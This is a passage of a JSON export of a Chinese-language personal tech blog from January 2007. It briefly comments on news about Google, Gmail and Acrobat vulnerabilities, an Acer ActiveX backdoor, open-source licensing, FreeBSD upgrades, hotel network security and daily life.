    "body": "<a href=\"http://beta.zooomr.com/photos/gslin/592532\"><img src=\"http://static.zooomr.com/images/592532_71b87da545_m.jpg\" alt=\"\" style=\"float: left; margin: 0 1em 1em 0;\" /></a> 這陣子 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 頗怪，在發現不適當的政策後來個大轉彎，居然把所有的 \"unrelated result\" 拿掉，然後又發現好像太誇張了 (<a href=\"http://blog.outer-court.com/\" rel=\"tag\">Blogoscoped</a> 發現計算機的功能不見後寫了一篇 <a href=\"http://blog.outer-court.com/archive/2007-01-02-n43.html\">Google Calculator Gone?</a>)，於是過幾個小時候又放回來...\r\n\r\n(話說回來，我覺得 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 如果可以提供匯率的話會比較方便 +_+ 現在都是去 <a href=\"http://tw.yahoo.com/\" rel=\"tag\">Yahoo! Kimo</a> 查...)",
    "title": "Google 計算機"
  },
  {
    "id": "981",
    "body": "比起政策上得問題，這次是技術上產生的問題，所以大家也都懶得碎碎唸了...\r\n\r\n這次的漏洞是 <a href=\"http://gmail.google.com/\" rel=\"tag\">Gmail</a> 的 JSON API 所造成的，這個漏洞目前已經修復了，當時的情況是 1) 如果你登入 <a href=\"http://gmail.google.com/\" rel=\"tag\">Gmail</a> 2) 別的網站可以利用 <a href=\"http://gmail.google.com/\" rel=\"tag\">Gmail</a> 的 JSON API 取得一些資訊，像是通訊錄內容。\r\n<ul>\r\n\t<li><a href=\"http://www.techcrunch.com/2007/01/01/another-gmail-problem/\">Another Gmail Problem</a></li>\r\n\t<li><a href=\"http://blog.outer-court.com/archive/2007-01-01-n12.html\">Gmail Cross-site Scripting Vulnerability</a></li>\r\n</ul>",
    "title": "Gmail 安全漏洞"
  },
  {
    "id": "982",
    "body": "用 <a href=\"http://news.google.com.tw/\" rel=\"tag\">Google News</a> 找了一下，國內似乎沒在關注這件事情。\r\n<ul>\r\n\t<li><a href=\"http://slashdot.org/politics/07/01/01/1657224.shtml\">U.S. Mass Declassified Documents At Midnight</a></li>\r\n\t<li><a href=\"http://www.iht.com/articles/2006/12/21/america/web.1221declassify.php\">U.S. to declassify secrets aged 25 and older</a></li>\r\n</ul>\r\n在柯林頓時代時決定從 2007 年開始，超過 25 年的機密文件將自動解密，於是今年將有上億頁的機密文件解密，其中包含了許多冷戰時代的紀錄，這對於許多研究相關領域的學者來說是相當重要的一步，藉由大量的解密文獻得知當年所發生的事情，以及美國政府如何應對。",
    "title": "機密文件解密"
  },
  {
    "id": "983",
    "body": "剛剛把 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 更新到 r4672 版，在後台操作時發現速度比以前快不少。(不知道是不是錯覺，我看機器還是蠻忙的，應該是有改善)\r\n\r\n等 <a href=\"http://wordpress.org/\" rel=\"tag\">WordPress</a> 2.1 釋出後 (不是最近準備要釋出的 2.0.6) 應該會有更多人受惠 :p",
    "title": "WordPress"
  },
  {
    "id": "984",
    "body": "法國的 <a href=\"http://www.cnes.fr/\" rel=\"tag\">Space Agency</a> 將會將這三十年內所蒐集到的 UFO 資料公佈出來，包括了一千六百多次的事件：<a href=\"http://slashdot.org/science/07/01/02/2156201.shtml\">UFOs In the News</a>。\r\n\r\n會不會過了兩百年後發現這些異常狀況只是未來的人在做 Temporarily Experiment 所產生的？XD",
    "title": "法國將公佈這三十年內 UFO 的資訊"
  },
  {
    "id": "985",
    "body": "以 Porn 為題材 (噗)，反應最近 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 的情況：<a href=\"http://blog.outer-court.com/archive/2007-01-03-n85.html\">Google Porn: A Play in One Act</a>。",
    "title": "Google Porn"
  },
  {
    "id": "986",
    "body": "<a href=\"http://beta.zooomr.com/photos/gslin/605922\"><img src=\"http://static.zooomr.com/images/605922_2aef891fc6_o.jpg\" alt=\"\" /></a>\r\n\r\n出處：<a href=\"http://blog.outer-court.com/archive/2007-01-04-n78.html\">Do You Want the Googlebot Artwork?</a>",
    "title": "Googlebot"
  },
  {
    "id": "987",
    "body": "<a href=\"http://beta.zooomr.com/photos/gslin/607099\"><img src=\"http://static.zooomr.com/images/607099_3e4db28895_o.jpg\" alt=\"\" style=\"float: left; margin: 0 1em 1em 0;\" /></a> 這本小說的中文版在 12/25 出版，我請 <a href=\"http://slzzp.blogspot.com/\" rel=\"tag\">slzzp</a> 幫忙買，<a href=\"http://flickr.com/photos/gslin/sets/72157594450678907/\" rel=\"tag\">年度總檢討</a> 的時候 <a href=\"http://slzzp.blogspot.com/\" rel=\"tag\">slzzp</a> 就順便拿給我：<a href=\"http://findbook.tw/b/ISBN/9571032913\">星界的斷章(1)</a>。\r\n\r\n中文版翻譯的不錯，看起來很流暢所以很快就看完了。還有地方看起來是惡搞 XD：<a href=\"http://59.120.14.127/htm/other/7/metamorphosis/news/20070102.htm\">星界的斷章之淫亂的星界！？森岡老師突破創作以來的最大尺度！？</a> 不知道是不小心漏字，還是真的故意漏字 XD\r\n\r\n斷章有些部份比較像是設定集的感覺，解釋了亞維人的由來以及一些背景知識。另外有些部份根本是在惡搞 (像是 <a href=\"http://www.2ch.net/\" rel=\"tag\">2ch</a> 與「攻+受」這些用語 XD)，不過 <a href=\"http://zh.wikipedia.org/wiki/%E6%A3%AE%E5%B2%A1%E6%B5%A9%E4%B9%8B\" rel=\"tag\">森岡浩之</a> 好像還蠻樂在其中的，好幾篇都是這種 style...\r\n\r\nPS：如果你想知道這部小說，可以參考 <a href=\"http://zh.wikipedia.org/\" rel=\"tag\">維基百科</a> 的說明：<a href=\"http://zh.wikipedia.org/wiki/%E6%98%9F%E7%95%8C%E7%9A%84%E7%BA%B9%E7%AB%A0\" rel=\"tag\">星界的紋章</a>，不過我建議還是去看小說 &amp; 動畫比較有感覺 :p",
    "title": "星界の断章"
  },
  {
    "id": "988",
    "body": "<a href=\"http://svk.bestpractical.com/\" rel=\"tag\">SVK</a> 2.0.0 釋出一陣子了 (2006/12/28)，在 <a href=\"http://search.cpan.org/src/CLKAO/SVK-v2.0.0/CHANGES\">CHANGES</a> 裡翻到：\r\n<ul>\r\n\t<li>SVK::Mirror now uses a separate process to pipeline sync</li>\r\n</ul>\r\n看起來蠻值得試看看的，所以剛剛把工作機的 <a href=\"http://svk.bestpractical.com/\" rel=\"tag\">SVK</a> 從 1.0.x 升級到 2.0.0 測...\r\n\r\n結果測下去還是一樣慢啊 @_@ 看起來是指每個 depot 都獨立一隻 SVK::Mirror 跑吧？這樣 mirror 設定後的第一次 sync 還是很痛的啊 :~",
    "title": "SVK 2.0.0"
  },
  {
    "id": "989",
    "body": "在 <a href=\"http://www.cert.org/\" rel=\"tag\">CERT</a> 上看到的：<a href=\"http://www.kb.cert.org/vuls/id/815960\">Adobe Acrobat Plug-In cross domain violation</a>。\r\n\r\n這個安全漏洞是瀏覽器內嵌 PDF Viewer 時，Adobe Acrobat Reader 8.0 沒有正確處理 URL 造成可以執行 Javascript 於是產生 XSS 類的問題。暫時的解法有兩種，一種是把瀏覽器內嵌 PDF 的功能關掉，另外一種是把 Javascript 關掉...",
    "title": "Adobe Acrobat Reader 8.0 安全漏洞"
  },
  {
    "id": "990",
    "body": "<a href=\"http://www.ilovejackdaniels.com/\" rel=\"tag\">Dave Child</a> 又丟出新的 Cheat Sheet 了：<a href=\"http://www.ilovejackdaniels.com/cheat-sheets/html-cheat-sheet/\">HTML Cheat Sheet</a>。寫網頁時常常會忘記 tag 的名稱，有機會找台印表機印出來... o_O\r\n\r\n看了一下，印出來後大概還要做很多筆記在上面才適合用，上面的資訊太少了。",
    "title": "HTML 的 Cheat Sheet"
  },
  {
    "id": "991",
    "body": "放完假回來上班發現公司被買了... XD\r\n\r\n在 <a href=\"http://gigaom.com/\" rel=\"tag\">GigaOM</a> 看到 <a href=\"http://www.cisco.com/\" rel=\"tag\">Cisco</a> 買下 <a href=\"http://www.ironport.com/\" rel=\"tag\">IronPort</a> 的消息：<a href=\"http://gigaom.com/2007/01/04/cisco-buys-ironport-for-830-million/\">Cisco buys Ironport for $830 million</a>，<a href=\"http://www.cisco.com/\" rel=\"tag\">Cisco</a> 與 <a href=\"http://www.ironport.com/\" rel=\"tag\">IronPort</a> 的新聞稿分別在 <a href=\"http://newsroom.cisco.com/dlls/2007/corp_010407.html\">Cisco Announces Agreement to Acquire IronPort</a> 與 <a href=\"http://www.ironport.com/company/ironport_pr_2007-01-04.html\">Cisco Announces Agreement to Acquire IronPort</a>。(其實這兩篇長得一樣...)",
    "title": "Cisco 買下 Ironport"
  },
  {
    "id": "992",
    "body": "<a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL AB</a> 決定將 MySQL 5.0 與 5.1 的版權宣告從 \"GPLv2 或之後的版本\" 改成 \"GPLv2\"，換句話說，避免使用 GPLv3 授權：<a href=\"http://slashdot.org/developers/07/01/04/153236.shtml\">MySQL Changes License To Avoid GPLv3</a>。\r\n\r\n這避免了如果有人拿 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 的 source code 改出另外一個版本後使用 GPLv3 所產生的問題：如果這個新的版本有很好的功能，<a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL AB</a> 想要 porting 回 MySQL tree 裡時會產生 GPLv3 感染的問題。",
    "title": "MySQL 將不會使用 GPLv3"
  },
  {
    "id": "993",
    "body": "把 Notebook 的記憶體加大後，<a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 的 memory leak 對於網頁瀏覽的影響就沒那麼大了，突然想到用起 <a href=\"http://www.google.com/reader/\" rel=\"tag\">Google Reader</a> 應該會比以前順，於是前幾天把  <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 的 OPML 匯出，搬到 <a href=\"http://www.google.com/reader/\" rel=\"tag\">Google Reader</a> 上使用，發現可以接受後就從 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 跳槽...\r\n\r\n對我來說，<a href=\"http://www.google.com/reader/\" rel=\"tag\">Google Reader</a> 與 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 相比起來，最好用的地方在於可以一次只看幾篇文章，而不用以 Blog/RSS 為單位一次看完一整個 Blog 的文章，這樣我就可以在 portupgrade 或是 make kernel 這種零碎的時間看個幾篇。\r\n\r\n不過蠻奇怪的是，tag 居然只能用英文... 另外 Javascript 的速度還是感覺不夠快，大概是 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 的問題吧，也許我該期待 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 把 <a href=\"http://www.adobe.com/\" rel=\"tag\">Adobe</a> 捐贈的程式碼移植進來，這樣 Javascript 的速度應該會快很多...",
    "title": "跳槽改用 Google Reader"
  },
  {
    "id": "994",
    "body": "約四十萬個 domain 的樣本，可以看出 Open Source 的 Mail Server 佔相當高的比率：\r\n\r\n<a href=\"http://beta.zooomr.com/photos/gslin/610090\"><img src=\"http://static.zooomr.com/images/610090_0d41c83535.jpg\" alt=\"\" /></a>\r\n\r\n圖出自 <a href=\"http://www.oreillynet.com/pub/a/sysadmin/2007/01/05/fingerprinting-mail-servers.html\">Fingerprinting the World's Mail Servers</a> 這篇文章。\r\n\r\n在文章裡作者說明了測試的方法。port 25 是這次測試的重點，因為許多 Mail Server 都沒有特別隱藏 fingerprint，於是你可以透過這些 fingerprint 判斷這台主機是使用什麼軟體。\r\n\r\n不過文章內還是提到了樣本仍然有偏差 (所以上面的圖僅供參考)，主要是因為各種毫無意義的 banner 無法分析，像是 <a href=\"http://www.cisco.com/\" rel=\"tag\">Cisco</a> PIX firewall 所擋住的 SMTP Server 會傳回這種東西：\r\n<blockquote><code>220 ***********************</code></blockquote>\r\n這使得你無從判斷。",
    "title": "Mail Server 的市場佔有率"
  },
  {
    "id": "995",
    "body": "<a href=\"http://www.debian.org/\" rel=\"tag\">Debian</a> 被我灌爛了，於是又拿出 FreeBSD 6.2 BETA 的光碟灌 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a>，然後升級到 7-CURRENT (-HEAD)。\r\n\r\n中間有些小插曲，像是我本來以為 <code>/usr/share/examples/cvsup/standard-supfile</code> 是 -HEAD 的 supfile，所以我在 <code>/etc/make.conf</code> 裡當然就設過去，結果跑了三四個小時把整套 (csup + world + kernel) 做完重開後發現是 6.2-PRERELEASE，只好再更新一次重頭做，順便跑 SCHED_ULE... (也就是 ULE 2.0)\r\n\r\n升到 7-CURRENT 以後發現不少在 6.x 上裝的 packages 有一堆有問題，像是 python &amp; ruby 都會 coredump，為了避免以後發現靈異現象 (結果追到最後發現是因為某個 port 沒有重編)，乾脆到 <code>/var/db/pkg</code> 下面跑 pkg_delete * 把所有 ports 砍掉重新安裝...\r\n\r\n晚點再來弄 <a href=\"http://www.x.org/\" rel=\"tag\">X.Org</a>，然後再把 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 編起來。",
    "title": "FreeBSD 7-CURRENT"
  },
  {
    "id": "996",
    "body": "天氣冷的時候在被窩裡超好睡 +_+\r\n\r\n睡醒發現居然下午三點了，趕快打電話去道歉，gosh =_=",
    "title": "天氣冷..."
  },
  {
    "id": "997",
    "body": "從 12/26 的 <a href=\"http://blog.gslin.org/archives/2006/12/26/972/\">幫忙買 Flickr Pro</a> 這篇發表到現在差不多兩個禮拜，總共有五個人從我這邊代買一年分的 Flickr Pro 帳號，please enjoy it :)",
    "title": "Flickr Pro 代買「成果」"
  },
  {
    "id": "998",
    "body": "在 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 把 Falcon Storage Engine 放進 source tree 後 (<a href=\"http://slashdot.org/it/07/01/02/209227.shtml\">MySQL Falcon Storage Engine Open Sourced</a>)，有人就在 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 上跑起來，同時對 MyISAM 與 InnoDB 做了一些簡單的 benchmark：<a href=\"http://www.mysqlperformanceblog.com/2007/01/08/innodb-vs-myisam-vs-falcon-benchmarks-part-1/\">InnoDB vs MyISAM vs Falcon benchmarks - part 1</a>，跑出來的結果是 Falcon 大敗... :p\r\n\r\n這陣子的測試都還說不準，要等到把一些整合上的問題修掉後再回來看。\r\n\r\nPS：在 <a href=\"http://www.mysqlperformanceblog.com/2007/01/12/falcon-storage-engine-design-review/\">Falcon Storage Engine Design Review</a> 這篇有些 Falcon 設計上的解釋，也許可以稍微解釋為甚麼 Falcon 跑起來這麼慢...",
    "title": "MySQL 裡的 Falcon"
  },
  {
    "id": "999",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上報導了 <a href=\"http://www.acer.com/\" rel=\"tag\">Acer</a> 的 Notebook 裡就有個 ActiveX Control 可以讓第三者任意執行任何指令 (檔案最後修改日期是 1998 年，所以作者也猜測這個後門應該很久了？)：<a href=\"http://slashdot.org/yro/07/01/08/0515200.shtml\">Acer May Be Bugging Computers</a>。\r\n\r\n原報導在 <a href=\"http://vuln.sg/acerlunchapp-en.html\">About Acer Notebook LunchApp.APlunch ActiveX Control....</a> 這篇，看起來這篇也蠻久了，最下面的 Public Release 是 2006/11/19。最近 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 送給很多 Blogger 裝有 Windows Vista 的 Acer Laptop (<a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 說這是作為「善意的表示」)，果然被 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上面的人拿出來一起笑... XD",
    "title": "Acer Laptop 的 ActiveX 後門"
  },
  {
    "id": "1000",
    "body": "這個厲害...\r\n\r\n在保險套裡面放麵粉過海關，於是被抓起來關三個禮拜，之後測試出不是違禁品而被放出來，於是反控回去而得到 $180k... (這應該是美金吧？這樣快六百萬台幣了 :p)：<a href=\"http://www.boingboing.net/2007/01/09/how_to_earn_180k_by_.html\">How to earn $180k by smuggling flour-filled condoms</a>，路透的報導：<a href=\"http://today.reuters.com/news/articlenews.aspx?type=oddlyEnoughNews&storyID=2007-01-09T032731Z_01_N15304004_RTRUKOC_0_US-CONDOMS.xml&WTmodLoc=OddNewsHome_C1_%5bFeed%5d-2\">Woman settles case over flour-filled condoms</a>。\r\n\r\n嘖... XD",
    "title": "在保險套裡面放麵粉？"
  },
  {
    "id": "1001",
    "body": "雖然 <a href=\"http://www.gnu.org/copyleft/gpl.html\" rel=\"tag\">GNU GPL</a> 很討厭，但是你必須承認一點：世界上有太多 open source software 使用 <a href=\"http://www.gnu.org/copyleft/gpl.html\" rel=\"tag\">GNU GPL</a>，於是你就得考慮其他的 license 的軟體如果與 GPL 的軟體連結在一起所遇到的問題。\r\n\r\n比較有名的幾個例子包括 <a href=\"http://en.wikipedia.org/wiki/BSD_license\" rel=\"tag\">BSD 4-clause license</a> 與 <a href=\"http://www.gnu.org/copyleft/gpl.html\" rel=\"tag\">GNU GPL</a> 不相容：<a href=\"http://en.wikipedia.org/wiki/BSD_and_GPL_licensing\">BSD and GPL licensing</a>，以及 <a href=\"http://www.openssl.org/source/license.html\" rel=\"tag\">OpenSSL license</a> 與 <a href=\"http://www.gnu.org/copyleft/gpl.html\" rel=\"tag\">GNU GPL</a> 不相容：<a href=\"http://www.gnome.org/~markmc/openssl-and-the-gpl.html\">The OpenSSL License and The GPL</a>。\r\n\r\n結果剛剛在看這幾天的 RSS feed 的時候在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://www.gentoo.org/proj/en/gentoo-alt/bsd/fbsd/\" rel=\"tag\">Gentoo/FreeBSD</a> 頭目 <a href=\"http://farragut.flameeyes.is-a-geek.org/\" rel=\"tag\">Flameeyes</a> 發現系統裡某些不容易被取代的部份居然使用 BSD 4-clause license：<a href=\"http://slashdot.org/bsd/07/01/08/1219254.shtml\">Gentoo/FreeBSD On Hold Due To Licensing Issues</a>。\r\n\r\n他寫的文章在這：\r\n<ul>\r\n\t<li><a href=\"http://farragut.flameeyes.is-a-geek.org/articles/2007/01/07/gentoo-freebsd-license-problems-requires-a-development-pause\">Gentoo/FreeBSD: license problems require a development pause</a></li>\r\n\t<li><a href=\"http://farragut.flameeyes.is-a-geek.org/articles/2007/01/07/the-big-license-mess-part-2\">The big license mess, part 2</a></li>\r\n\t<li><a href=\"http://farragut.flameeyes.is-a-geek.org/articles/2007/01/08/a-shadow-lies-upon-all-bsd-distributions\">A shadow lies upon all BSD distributions</a></li>\r\n\t<li><a href=\"http://farragut.flameeyes.is-a-geek.org/articles/2007/01/09/thanks-and-restart\">Thanks, and restart!</a></li>\r\n</ul>\r\n<a href=\"http://www.gentoo.org/proj/en/gentoo-alt/bsd/fbsd/\" rel=\"tag\">Gentoo/FreeBSD</a> 遇到的麻煩暫時已經解決，主要是 libkvm 是被 GPL 軟體所呼叫，而不是 libkvm 去呼叫 GPL 軟體，而 GPL 所禁止的是別人連結到 GPL 軟體的情況，所以在這個情況下不受限制。另外一個是 libkvm 大多數的部份都是 UCB 的 copyright，而 UCB 宣佈過所有他們擁有的 BSD 4-clause license 將自動「降」為 3-clause，而其他的部份 (PowerPC 與 ARM 的移植程式碼) 的作者已經同意也「降」為 3-clause。\r\n\r\n不過我搜尋了 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 的 mailing list 發現好像沒有人討論這個問題...",
    "title": "BSD 4-clause license 的問題"
  },
  {
    "id": "1002",
    "body": "在 <a href=\"http://blog.washingtonpost.com/securityfix/\" rel=\"tag\">Security Fix</a> 上看到 Spam 軟體已經能處理 <a href=\"http://en.wikipedia.org/wiki/CAPTCHA\" rel=\"tag\">CAPTCHA</a> 這類 <a href=\"http://en.wikipedia.org/wiki/Turing_test\" rel=\"tag\">Turing Test</a> 了：<a href=\"http://blog.washingtonpost.com/securityfix/2007/01/scary_blogspam_automation_tool_1.html\">Scary Blogspam Automation Tools</a>。\r\n\r\n說到 <a href=\"http://en.wikipedia.org/wiki/CAPTCHA\" rel=\"tag\">CAPTCHA</a>，我就想到前陣子看到給 <a href=\"http://wiki.apache.org/spamassassin/\" rel=\"tag\">SpamAssassin</a> 用的 <a href=\"http://wiki.apache.org/spamassassin/FuzzyOcrPlugin\" rel=\"tag\">FuzzyOcrPlugin</a>，可以將信件裡面的圖片轉成文字再交給 <a href=\"http://wiki.apache.org/spamassassin/\" rel=\"tag\">SpamAssassin</a> 處理，這代表什麼呢... errr...",
    "title": "Spam 軟體"
  },
  {
    "id": "1003",
    "body": "有人在 <a href=\"http://www.ebay.com/\" rel=\"tag\">eBay</a> 上銷贓，結果被物主給抓到 XD：<a href=\"http://slashdot.org/articles/07/01/08/2335249.shtml\">Been Robbed Recently? Check Ebay</a>，原報導：<a href=\"http://www.1010wins.com/pages/179448.php\">Police: LI Man Finds His Stolen GPS Device on eBay</a>。\r\n\r\n簡單說就是有人在 GPS 導航系統被偷了以後決定到 <a href=\"http://www.ebay.com/\" rel=\"tag\">eBay</a> 上找一個一樣的，結果發現某個拍賣裡有 serial number，號碼居然跟他之前的一樣，於是... XD",
    "title": "在拍賣網站上銷贓..."
  },
  {
    "id": "1004",
    "body": "在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到 <a href=\"http://www.dell.com/\" rel=\"tag\">Dell</a> 在中國大陸販賣事先裝好 <a href=\"http://www.linux.org/\" rel=\"tag\">Linux</a> 的 PC：<a href=\"http://slashdot.org/hardware/07/01/09/1629239.shtml\">Dell's Secret Linux Fling</a>，原報導在 <a href=\"http://www.theregister.co.uk/\" rel=\"tag\">The Register</a> 上，重點是有圖有真相：<a href=\"http://www.theregister.co.uk/2007/01/09/dell_linux_china/\">Dell's secret Linux fling</a>，從圖可以看到選用的系統是 <a href=\"http://www.redflag-linux.com/\" rel=\"tag\">紅旗 Linux</a>。\r\n\r\n對 <a href=\"http://www.dell.com/\" rel=\"tag\">Dell</a> 而言，總是個開始... 畢竟在美國市場裡有 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 會強力阻撓 :p",
    "title": "Dell 在中國大陸販賣事先裝好 Linux 的 PC"
  },
  {
    "id": "1005",
    "body": "不知道系辦在幹什麼... 像是：\r\n<ul>\r\n\t<li><a href=\"http://www.cs.nctu.edu.tw/chinese/doc/announcements/post/post_t.php?news_sn=373\">373</a> 的標題？</li>\r\n\t<li><a href=\"http://www.cs.nctu.edu.tw/chinese/doc/announcements/post/post_t.php?news_sn=376\">376</a> 整篇</li>\r\n\t<li><a href=\"http://www.cs.nctu.edu.tw/chinese/doc/announcements/post/post_t.php?news_sn=377\">377</a> 整篇</li>\r\n</ul>\r\n這些是什麼東西啊...",
    "title": "公告系統..."
  },
  {
    "id": "1006",
    "body": "在 <a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 上看到：<a href=\"http://www.boingboing.net/2007/01/10/company_promises_to_.html\">Company promises to wirelessly power handheld devices</a>。\r\n\r\n其實是放一台發送器，然後在無線設備上裝充電電池，平常放著的時候就透過特定的 RF 訊號充電...",
    "title": "不用特別去充電的無線設備"
  },
  {
    "id": "1007",
    "body": "有人發現在 Hotel 使用網路時看網頁怪怪的，分析下去發現是 <a href=\"http://www.superclick.com/\" rel=\"tag\">SuperClick</a> 這家公司惡搞的原因：<a href=\"http://slashdot.org/yro/07/01/11/1321237.shtml\">Hotel Connectivity Provider SuperClick Tracks You</a>，剛好看到另外一篇對 <a href=\"http://fon.com/\" rel=\"tag\">FON</a> 的安全性有所顧慮：<a href=\"http://xeonchen.blogspot.com/2007/01/fon.html\">FON 的安全性？</a>。\r\n\r\n先講 <a href=\"http://fon.com/\" rel=\"tag\">FON</a> 的安全性好了。我手上沒有 <a href=\"http://fon.com/\" rel=\"tag\">FON</a> 的機器，也沒用過 <a href=\"http://fon.com/\" rel=\"tag\">FON</a> 提供的網路，所以我只能針對不同的情況假設。第一種，如果他的認證頁面是透過 <a href=\"http://fon.com/\" rel=\"tag\">fon.com</a> 的 HTTPS 頁面做的話，那麼在認證的部份只要使用者有注意到，應該沒什麼問題。如果是在 FON AP 上認證的話，那麼 <a href=\"http://fon.com/\" rel=\"tag\">FON</a> 必須使用 Key-based 認證，不然就有被釣魚的危險...\r\n\r\n再回來講連線的事情，當在外使用網路一定要注意的... WEP/WPA 只能保護無線網路這段連線 (也就是電腦到 AP 這段)，並不能保護其他的部份。像 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 那篇所遇到的例子是上游惡搞你。\r\n\r\n比較好的方法是全程都使用 HTTPS，像是 <a href=\"https://mail.google.com/mail/\" rel=\"tag\">Gmail</a>，但並不是所有的站台都有提供 HTTPS。\r\n\r\n另外一種方法是自己架設 SSL VPN (像是 <a href=\"http://openvpn.net/\" rel=\"tag\">OpenVPN</a>) 連到信任的網路上再連出去，或是透過 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\" rel=\"tag\">PuTTY</a> 連到其他信任的機器 (以及網路)，利用 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\" rel=\"tag\">PuTTY</a> 所提供的 Socks5，將瀏覽器的 Proxy 指過去。\r\n\r\n如果以上的辦法都不可行的話 (沒有自己可信任的機器？)，也許可以購買 VPN 的服務...",
    "title": "在外使用網路時的網路安全..."
  },
  {
    "id": "1008",
    "body": "<a href=\"http://www.verisign.com/\" rel=\"tag\">VeriSign</a> 對於找到 Windows Vista &amp; IE7 最嚴重的 remote code execution 漏洞並寫出 exploit code 的人提出獎賞：<a href=\"http://slashdot.org/it/07/01/10/239248.shtml\">VeriSign Puts Flaw Bounty on Vista and IE7</a>。\r\n\r\n不過這個價碼對 Remote Code Execution 來說實在不怎麼吸引人... @_@",
    "title": "VeriSign 將獎賞寫出 Windows Vista 與 IE7 的安全漏洞的人"
  },
  {
    "id": "1009",
    "body": "由於 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 說他們不會再繼續維護 Windows 2000，所以今年美國的 Daylight Saving Time 改變一般人就無法拿到 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 官方的 patch (參考 <a href=\"http://www.microsoft.com/\" rel=\"tag\">Microsoft</a> 的 <a href=\"http://www.microsoft.com/windows/timezone/dst2007.mspx\">Preparing for daylight saving time changes in 2007</a> 這篇)，於是有人做了非官方的更新：<a href=\"http://slashdot.org/it/07/01/11/1844246.shtml\">Unofficial Win2K Daylight Saving Time Fix</a>。",
    "title": "Windows 2000 非官方更新"
  },
  {
    "id": "1010",
    "body": "XDDDDDD\r\n\r\n<a href=\"http://flickr.com/photos/gslin/355371663/\"><img src=\"http://farm1.static.flickr.com/166/355371663_f3f942d2f6.jpg\" alt=\"\" /></a>\r\n\r\n來源：<a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 的 <a href=\"http://www.boingboing.net/2007/01/12/nec_laptop_designed_.html\">NEC laptop designed for your evil lair</a>。",
    "title": "NEC 新出的 Notebook？"
  },
  {
    "id": "1011",
    "body": "剛好跟被 <a href=\"http://www.cisco.com/\" rel=\"tag\">Cisco</a> 告的 <a href=\"http://www.apple.com/iphone/\" rel=\"tag\">iPhone</a> 比較？XDDDD\r\n\r\n<a href=\"http://www.flickr.com/photos/13752352@N00/351423384/\"><img src=\"http://farm1.static.flickr.com/131/351423384_45b006f78a.jpg\" alt=\"\" /></a>\r\n\r\n出處：<a href=\"http://www.boingboing.net/\" rel=\"tag\">Boing Boing</a> 的 <a href=\"http://www.boingboing.net/2007/01/12/apple_phone_no_need_.html\">Apple phone: no need to wait for June on this one.</a>。",
    "title": "Apple Phone"
  },
  {
    "id": "1012",
    "body": "東西蠻好吃的，氣氛也不錯，但是因為開在小巷子裡 (所以很安靜)，地點很不好找 XD\r\n\r\n因為 <a href=\"http://mclee.foolme.net/\" rel=\"tag\">強者 mclee 大長輩</a> 推薦 <a href=\"http://www.shopcool.com.tw/profiles/lincoffee/overview.html\" rel=\"tag\">香榭咖啡屋</a> (據說是女朋友高中同學開的？)，所以昨天就跑去吃，我看了地圖就在想：這好像是我念小學時後面的巷子... 所以就搭 99 到捷運新埔站，轉 310 到大庭新村站，再用走的去找小巷子... 果然迷路 XD\r\n\r\n不過其實還好，因為有抄地址 (板橋市大勇街 28 號)，問一下路人大勇街在哪裡，走一下就到了。進去以後有無線網路可以用，走的是 HiNet ADSL，速度還不錯，記得跟老闆要 WAP 的 key。\r\n\r\n<strong>Update</strong>：<a href=\"http://mclee.foolme.net/\" rel=\"tag\">mclee</a> 在 comment 提到的交通圖：\r\n\r\n<a href=\"http://www.flickr.com/photos/georgelee/356018255/\"><img src=\"http://farm1.static.flickr.com/132/356018255_a72a4a58ca.jpg\" alt=\"\" /></a>",
    "title": "香榭．咖啡"
  },
  {
    "id": "1013",
    "body": "<a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上轉錄自 Doom9 上的新聞，在短短的幾個小時內破了一堆可以播放 <a href=\"http://en.wikipedia.org/wiki/Advanced_Access_Content_System\" rel=\"tag\">AACS</a> 的 player，取出大量的 key：<a href=\"http://slashdot.org/it/07/01/13/181222.shtml\">Decryption Keys For HD-DVD Found, Confirmed</a>。",
    "title": "AACS 破解的「進度」"
  },
  {
    "id": "1014",
